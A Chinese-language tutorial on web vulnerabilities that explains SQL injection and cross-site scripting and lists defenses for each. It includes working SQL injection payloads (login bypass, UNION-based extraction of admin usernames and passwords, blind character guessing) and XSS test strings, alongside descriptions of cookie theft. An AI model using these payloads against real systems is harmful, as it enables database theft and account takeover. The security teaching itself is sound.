1.什么是Web漏洞
WEB漏洞通常是指网站程序上的漏洞,可能是由于代码编写者在编写代码时考虑不周全等原因而造成的漏洞。如果网站存在WEB漏洞并被黑客攻击者利用,攻击者可以轻易控制整个网站,并可进一步提前获取网站服务器权限,控制整个服务器。
2. 常见的web安全漏洞
2.1 SQL注入漏洞
2.1.1 SQL注入典型案例事件
1、SONY索尼事件
2011年4月,著名的匿名者组织Anonymous注入SONY一个网站,一星期后才被发现7千万的用户个人信息,其中包括姓名、地址、E-mail、出生日期、用户名、密码以及购买记录的数据信息,随后的一些其他服务器也被相继攻破。
2、CSDN数据泄露门
2011年底,国内各大网站被爆出“密码泄露门”,最先公布的是著名技术网站CSDN600万账户和密码泄露事件,网站由于存在SQL注入漏洞被利用并下载用户数据库,同时令人不解的是,网站对用户的信息储存竟然是明文。
2.1.2 什么是SQL注入
SQL注入攻击(SQL Injection),简称注入攻击、SQL注入,被广泛用于非法获取网站控制权,是发生在应用程序的数据库层上的安全漏洞。在设计程序中,忽略了对输入字符串中夹带的SQL指令的检查,被数据库误认为是正常的SQL指令而运行,从而使数据库受到攻击。可能导致数据被窃取、更改、删除,以及进一步导致网站被嵌入恶意代码、被植入后门程序等危害。
SQL注入是一种代码注入技术,可能会破坏数据库。SQL注入是通过网页输入将恶意代码放置在SQL语句中。
目前SQL注入大致分为普通注入和盲注。
-
普通注入:根据后台数据库提示有价值的错误信息进行注入
-
盲注:有经验的管理员在给出错误页面时,没有提供详细的错误信息。测试者需要运用脚本通过仅有的判断信息(比如时间差)对表中的每一个字段进行探测,从而实现注入的技术(盲注的难度较大,但注入测试中经常会遇到) 。
2.1.3 SQL注入的位置
SQL注入主要就是与数据库打交道,所以程序中与涉及到与数据库交换数据的地方都有可能出现SQL注入的问题,具体有哪些呢?
-
表单提交,主要是POST请求,也包括GET请求;
-
URL参数提交,主要为GET请求参数;
-
Cookie参数提交;
-
HTTP请求头部的一些可修改的值,比如Referer、User_Agent等;
2.1.4 SQL注入的思路
攻击者通过构造不同的SQL语句来实现对数据库的操作,这里有两个关键条件:
-
参数用户可控(如?id=1 就是根据不同的id能查看不同的内容)
-
用户的参数带入数据库查询(这里就是用来判断是否有SQL注入)
注入的判断方法常用的有:
1.使用英文的单引号’ :主要用来查看是否报错,以及错误信息是否是语法错误,还能看出使用的数据库类型
2.使用and、or操作
-
- 对于数字型的:若?id =1 and 1=1(正常) ?id=1 and 1=2(异常),则可能存在SQL注入
- 对于其他类型:若?name =xxx’ and 1=1(正常) ?name=xxx’ and 1=2(异常),则可能存在SQL注入
- 对于搜索型的:若?name =xxx%’ and 1=1(正常) ?name=xxx%’ and 1=2(异常),则可能存在SQL注入
3.加减法:对于数字型
-
- 加减法:?id=1+1或者?id=3-1 如果两个页面的数据与?id=2一样,证明可能存在SQL异常
4.对于登录框,常用注释方法,常用的注释有#、-- 、/*...*/三种
(1) 知道用户名,如我们填写的用户名:admin’# 密码:123456 构造的语句就是:
select * from user where username = 'admin'# ' and password = '123456'
(2) 不知道用户名,如我们填写的用户名:’or 1=1# 密码:123456 构造的语句就是:
select * from user where username = '' or 1=1#’ and password = '123456'
注入思路:
1.判断注入点
如果存在如下方式,那么可能就会存在SQL注入漏洞
(1) ?id=1 正常
(2) ?id=1 and 1=1 正常且与(1)一致
(3) ?id=1 and 1=2 不正常
2.查询数据库类型
(1) ?id=1 and length(user())>0
(2) ?id=1 and version()>0
(3) ?id=1 and (select count(*) from information_schema.TABLES)>0
3.判断字段数
使用order by number(其中number表示第几列)
(1) ?id=1 and 1=1 order by 1
(2) ?id=1 and 1=1 order by 2
(3) ?id=1 and 1=1 order by 3
如果order by 3时不正常了,证明表中只有2列,即只有两个字段
4.判断回显点(回显点是页面展示与数据库交换数据的地方,这样可以用来展示我们测试的内容),使用union(条件就是只要两个查询的字段数一致就可以)
(1) ?id=1 and 1=2 union select 1
(2) ?id=1 and 1=2 union select 1,2
如果在前端页面显示了2,则表示回显点是2,那么就会在2处显示我们的内容(如果在页面显示了相应的数字的话,该处就是回显点,就可以将2更换成我们想要猜测的相关内容)。access数据库的话必须加表名,表名我们可以自己猜,admin,user等来试试:union select 1,2 from table_name
5.查询相关内容
(1) 查询当前数据库名称:?id=1 and 1=2 union select 1,databases()
(2) 查询数据库的版本:?id=1 and 1=2 union select 1,version()
(3) 查询当前数据库的表:?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1 查看数据库下的表,可使用limit 0,1;limit 1,1的方式不断猜测下去(因为回显点只展示一个值,所以只能一个一个猜测)我们可以使用group_concat()函数将所有展示出来,但是这个要先确定展示的内容有没有长度的限制,如果有就需要使用limit
(4) 查询当前数据库的表:?id=1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
(5) 查询表下的字段:?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1 同样也可以使用group_concat(column_name)来展示
(6) 查看表内容:?id=1 and 1=2 union select 1,username from admin limit 0,1 查询表admin中第一行的username
(7) 查看表内容:?id=1 and 1=2 union select 1,password from admin limit 0,1 查询表admin中第一行的password,需要注意的是information_schema这个系统表是MySQL5.0以后的。
2.1.5 SQL注入常用技巧
猜数据库类型
-
使用英文的引号’,查看错误信息
从上面我们可以知道,如果程序的开发没有过滤使用英文的引号’的错误信息的话,我们可以从错误提示中获取到具体使用到的数据库。
(1) 如MySQL中的错误信息如下:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
(2) postegres中的错误信息如下:
unterminated quoted string at or near "'"
(3) mssql中的错误信息如下:
Microsoft JET Database Engine
(4) Oracle中的错误信息如下:
ORA-01756:quoted string not properly terminated
ORA-00933:SQLcommand not properly ended
2.通过数据库特有的特征
(1) mssql数据库特有的表sysobjects
?id=1 and (select count(*) from sysobjects)>0 正常
(2) access数据库
?id=1 and (select count(*) from sysobjects)>0
?id=1 and (select count(*) from msysobjects)>0
两个都异常就是access数据库,因为access数据库无sysobjects表,虽然有msysobjects表,但是没有访问权限,所以也会异常
(3) MySQL特有函数
?id=1 and length(user())>0
?id=1 and version()>0
?id=1 and (select count(*) from information_schema.TABLES)>0
(4) Oracle特有用户表sys.user_tables
?id=1 and (select count(*) from sys.user_tables)>0
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
猜表名
(1) ?id=1 and exists(select * from 表名)
猜列名
(1) ?id=1 and exists(select 字段 from 表名)
猜列内容长度
(1) ?id=1 and (select top 1 len(字段) from 表名) = 1
(2) ?id=1 and (select length(字段) from 表名 limit 1) = 1
其中,要根据上面判断的数据库类型使用不同的方式。
猜列具体内容
(1) ?id=1 and (select top 1 asc(mid(字段,1,1)) from 表名) = 97
(2) ?id=1 and (select ASCII(mid(字段,1,1)) from 表名 limit 1) = 97
其中,也需要根据上面判断的数据库类型来使用不同的函数,ASCII为MySQL中将字符转换成ASCII码,mid为字符串的截断函数,第一个参数为字段名称,第二个参数为开始的列数,第三个为截取的长度。
2.1.6 SQL注入常见的防范方法
(1)所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。当前几乎所有的数据库系统都提供了参数化SQL语句执行接口,使用此接口可以非常有效的防止SQL注入攻击。
(2)对进入数据库的特殊字符(’”<>&*;等)进行转义处理,或编码转换。
(3)确认每种数据的类型,比如数字型的数据就必须是数字,数据库中的存储字段必须对应为int型。
(4)数据长度应该严格规定,能在一定程度上防止比较长的SQL注入语句无法正确执行。
(5)网站每个数据层的编码统一,建议全部使用UTF-8编码,上下层编码不一致有可能导致一些过滤模型被绕过。
(6)严格限制网站用户的数据库的操作权限,给此用户提供仅仅能够满足其工作的权限,从而最大限度的减少注入攻击对数据库的危害。
(7)避免网站显示SQL错误信息,比如类型错误、字段不匹配等,防止攻击者利用这些错误信息进行一些判断。
(8)在网站发布之前建议使用一些专业的SQL注入检测工具进行检测,及时修补这些SQL注入漏洞。
遗留:各种不同数据库类型的攻击实战、SQL注入工具的使用
2.2 跨站脚本漏洞XSS
2.2.1 XSS定义
跨站脚本攻击(Cross-site scripting,通常简称为XSS,因为和层叠样式表的扩展名CSS重名了,故取名为XSS)。通常指的是利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。
简单的说,SQL注入是将用户输入的数据当作SQL语句,放到数据库中去执行,而XSS是将用户输入的数据当作HTML或者JavaScript脚本,放到页面上去执行。
实际上,“跨站脚本攻击”这个名字本身也另有来历,仅仅是因为当时第一次演示这个漏洞的黑客是通过“跨站”的方式植入脚本进行攻击的。 由于现代浏览器的“同源策略”已经让运行在浏览器中的javascript代码很难对外站进行访问了, 所以这个漏洞的名称可能存在一定的误导性,让很多初学者看了很多次都不能理解这个漏洞的原理。
2.2.2 XSS原理
XSS攻击主要是依靠一切可能的手段,将浏览器中可以执行的脚本(javascript)植入到页面代码中,从而对用户客户端实施攻击;从本质上讲,就是想尽一切手段在别人的代码环境中执行自己的代码。
那么这里就有两个关键的条件:
-
如何把代码植入到对方的系统中去?也就是说用户要能在页面控制输入;
-
植入进去的代码能不能被对方的系统执行?也就是说原本要执行的代码拼接了用户输入的数据。
2.2.3 XSS危害
2.2.3.1 什么是恶意脚本
实际上,能在受害者的浏览器中运行的JavaScript并不是都是有害的,因为JavaScript是在一个严格受限的环境中运行的(对用户文件和操作系统有严格的访问限制),然而当我们考虑如下几个方面时,我们就会对恶意脚本有一个清晰的认识。
-
JavaScript可以访问一些用户的敏感信息,比如cookies。
-
JavaScript可以通过XMLHttpRequest和其他的一些机制向任意终端发送包含任意内容的HTTP请求。
-
JavaScript可以通过DOM操作方法任意修改当前页面的HTML内容。
如果把上面这几点集合起来,那可以造成很严重的安全攻击了。
2.2.3.2 XSS危害
那么如果攻击者拥有了可以执行任意JavaScript脚本的能力后,究竟会有哪些危害呢?
-
盗取Cookie:攻击者可以通过document.cookie获取与网站相关的Cookie信息。并且可以把Cookie信息发回攻击者自己的服务器,然后分析出敏感信息,比如session id。
-
记录按键信息:攻击者可以通过addEventListener注册键盘侦听事件,然后把用户所有的按键信息发回他自己的服务器。这就有可能会记录下密码、信用卡号等敏感信息。
-
钓鱼:攻击者可以通过DOM操作在页面中插入一个伪造的登陆表单,并把form元素的action属性指向他自己的服务器,诱使用户提交敏感信息。
-
篡改页面:攻击者可以通过DOM操作方法直接篡改页面内容
-
控制数据:包括读取、篡改、添加、删除企业敏感数据的能力
-
将XSS配合SQL、CSRF等漏洞,控制受害者机器向其它网站发起攻击
总的来说,就是攻击者利用XSS攻击成功后,攻击者可能得到(包括但不限于)更高的权限,那么攻击者就可以使用这些权限做任何他想做的事。
2.2.4 XSS分类
2.2.4.1 非持久型跨站
非持久型XSS (也叫做反射型XSS),是指用户发出请求时,xss代码出现在url中,作为输入提交到服务器端,服务器端解析后响应,xss代码随响应内容一起传回给浏览器,最后浏览器解析执行xss代码。这个过程像一次反射,故叫反射型xss。
反射型XSS主要是对一个页面的URL中的某个参数做文章,把精心构造的恶意脚本包装到URL参数中, 再将这个URL散布到网上,骗取用户访问这个URL,从而对其进行攻击。
散布的方式通常伴有一些美女图片、游戏外挂或是其他的一些强诱惑力的内容,而其真实目的则是为了骗取用户访问这个URL。
此类 XSS 通常出现在网站的搜索栏、用户登录口等地方,常用来窃取客户端 Cookies 或进行钓鱼欺骗。
其大致流程如下:
(1) 攻击者构造了一个包含恶意字符串的URL并把它发给受害者。
(2) 诱使受害者发起这个URL请求。
(3) 网站在响应中引入这个恶意字符串。
(4) 受害者浏览器执行响应中的恶意脚本,将受害者的cookies信息发给攻击者服务器。
那么反射型XSS是如何实施的呢?
从上面我们可以看出,实际上反射型XSS需要受害者向服务器发送一个包含恶意代码的请求,这样看起来没有人会这样做,但实际上至少有两种常见的方法可以让受害者发起一次针对自己的反射型XSS攻击。
(1) 如果用户是具体的个人,攻击者可以发送恶意URL给受害者(如:通过email或者即时消息)然后诱使受害者访问该URL。
(2) 如果用户是一个群体,攻击者可以发布一个恶意的URL链接(如:在他的网站上或社交网络上)然后等待访问者点击该URL。
2.2.4.2 持久型跨站
这是危害最直接的跨站类型,跨站代码存储于服务端(比如数据库中)。常见情况是某用户在论坛发贴,如果论坛没有过滤用户输入的Javascript代码数据,就会导致其他浏览此贴的用户的浏览器会执行发贴人所嵌入的Javascript代码。
其大致流程如下:
(1) 攻击者利用网站的一个表单(如发帖框),将恶意字符串插入到网站数据库中。
(2) 受害者想访问贴吧内容,所以向网站请求页面。
(3) 网站在响应中将已经引入恶意字符串数据发给受害者。
(4) 受害者浏览器执行响应中的恶意脚本,并把受害者的cookies发给攻击者服务器。
2.2.5 XSS验证
XSS验证常用的语句:
<script>alert(‘1’)</script> <script>document.cookie</script> <iframe src=http://baidu.com> <meta http-equiv="refresh" content="5;url=http://www.baidu.com">
2.2.6. XSS防范
(1)与SQL注入防护的建议一样,假定所有输入都是可疑的,必须对所有输入中的script、iframe等字样进行严格的检查。这里的输入不仅仅是用户可以直接交互的输入接口,也包括HTTP请求中的Cookie中的变量,HTTP请求头部中的变量等。
(2)不仅要验证数据的类型,还要验证其格式、长度、范围和内容。
(3)不要仅仅在客户端做数据的验证与过滤,关键的过滤步骤在服务端进行。
(4)对输出的数据也要检查,数据库里的值有可能会在一个大网站的多处都有输出,即使在输入做了编码等操作,在各处的输出点时也要进行安全检查。
(5)在发布应用程序之前测试所有已知的威胁。